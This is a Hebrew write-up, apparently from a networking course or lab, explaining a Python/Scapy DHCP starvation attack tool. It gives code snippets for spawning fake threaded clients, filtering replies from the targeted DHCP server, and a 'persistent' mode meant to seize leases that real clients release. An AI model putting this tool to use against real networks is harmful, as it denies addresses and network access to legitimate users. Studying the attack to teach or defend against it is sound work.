DHCP Starvation

נגדיר מחלקה Client עבור לקוח יחיד, היורשת מהמחלקה המובנת Thread, וכך כל לקוח ירוץ בThread משלו.
לכל Client יחזיק מספר שדות משלו: כתובת ip, כתובת mac ומספר זיהוי transaction id.

בתכנית הראשית ניצור לקוחות חדשים בלולאה, נוסיף בין יצירה של לקוחות זמן המתנה רנדומלי, של עד 0.1 שניות. לפני יצירה של לקוח חדש נדרש להחזיק בLock, זה יהיה חשוב אחר כך.

```
while True:
    Client.lock.acquire(blocking=True)
    Client().start()
    Client.lock.release()
    sleep(random.random() * 0.01)
```

כל לקוח ישלח בקשת Discover, ימתין לקבלת Offer, ישלח בקשת Request, וימתין לAck, לאחר מכן נשלח בקשת Request כש50% מזמן החכירה עבר, אם לא קיבלנו תשובה נשלח אחת נוספת לאחר 88.5%, לפי הגדרות הפרוטוקול, RFC 2131.

הגדרת הsniff: נסניף פקטה אחת מהinterface המבוקש, עם timeout מוגדר מראש. נדרוש שהפקטה תהיה עבור הClient הנוכחי, מהשרת DHCP המותקף, עם הtype המבוקש (Offer או Ack).

```
sniff(
    count=1,
    iface=Client.iface,
    timeout=TIMEOUT,
    lfilter=lambda p:
    BOOTP in p and
    p[IP].src == Client.target and  # accept packets only from
the target DHCP server
    p[BOOTP].xid == self.transaction_id and  # the packet is
for the current client
    dict([ops for ops in p[DHCP].options if len(ops) ==
2])['message-type'] == op,  # the packet type
)
```

אם לא קיבלנו Offer לאחת מבקשות הDiscover, נפצל ל2 מקרים:
אם התכנית אינה מוגדרת persistent, ננעל את המנעול של התכנית הראשית, ניתן זמן מסוים לClientים שנוצרו כבר להמשיך בקשר, וניסגור את התכנית:

```
if not Client.persist:
    # if not persistent the program terminated when the server
is down
    Client.lock.acquire(blocking=True)  # catch the lock, stop
creating new clients
```

```
    sleep(TIMEOUT * 3)  # wait for clients to finish their connections
    os._exit(0)  # terminate the program
```

אם התכנית מוגדרת persistent, ננעל את המנעול ל`time_for_sleep` שניות, כאשר כל Client אחר שלא קיבל Offer באותו זמן יסגר. זמן הסגירה של המנעול, `time_for_sleep`, עולה אקספוננציאלית בכפולות של 2. לאחר `time_for_sleep` שניות, המנעול נפתח והתכנית הראשית תפתח לקוחות חדשים, אם השרת עדין מלא ולא שולח תשובות, אחד מהלקוחות החדשים יתפוס את המנעול (ויכפיל את `time_for_sleep`). כך, כאשר התכנית מוגדרת persistent, אנו נותנים מענה ללקוחות אמיתים שהיו מחוברים לשרת והתנתקו ממנו:

```
elif Client.lock.acquire(blocking=True, timeout=TIMEOUT):
    # stop create clients, DHCP server is down
    print(f'========= LOCK Locked for {Client.time_for_sleep} seconds=========')
    sleep(Client.time_for_sleep)  # try again after time_for_sleep seconds (if real client disconnect)
    Client.time_for_sleep *= 2  # the time we sleep goes up exponentially
    Client.lock.release()
    print('========= LOCK Release =========')
```

בתכנית הראשית, ניצור שני Threadים נוספים שיתנו מענה לשאילתות ARP, ICMP שעשויות להישלח לאחד הלקוחות שלנו.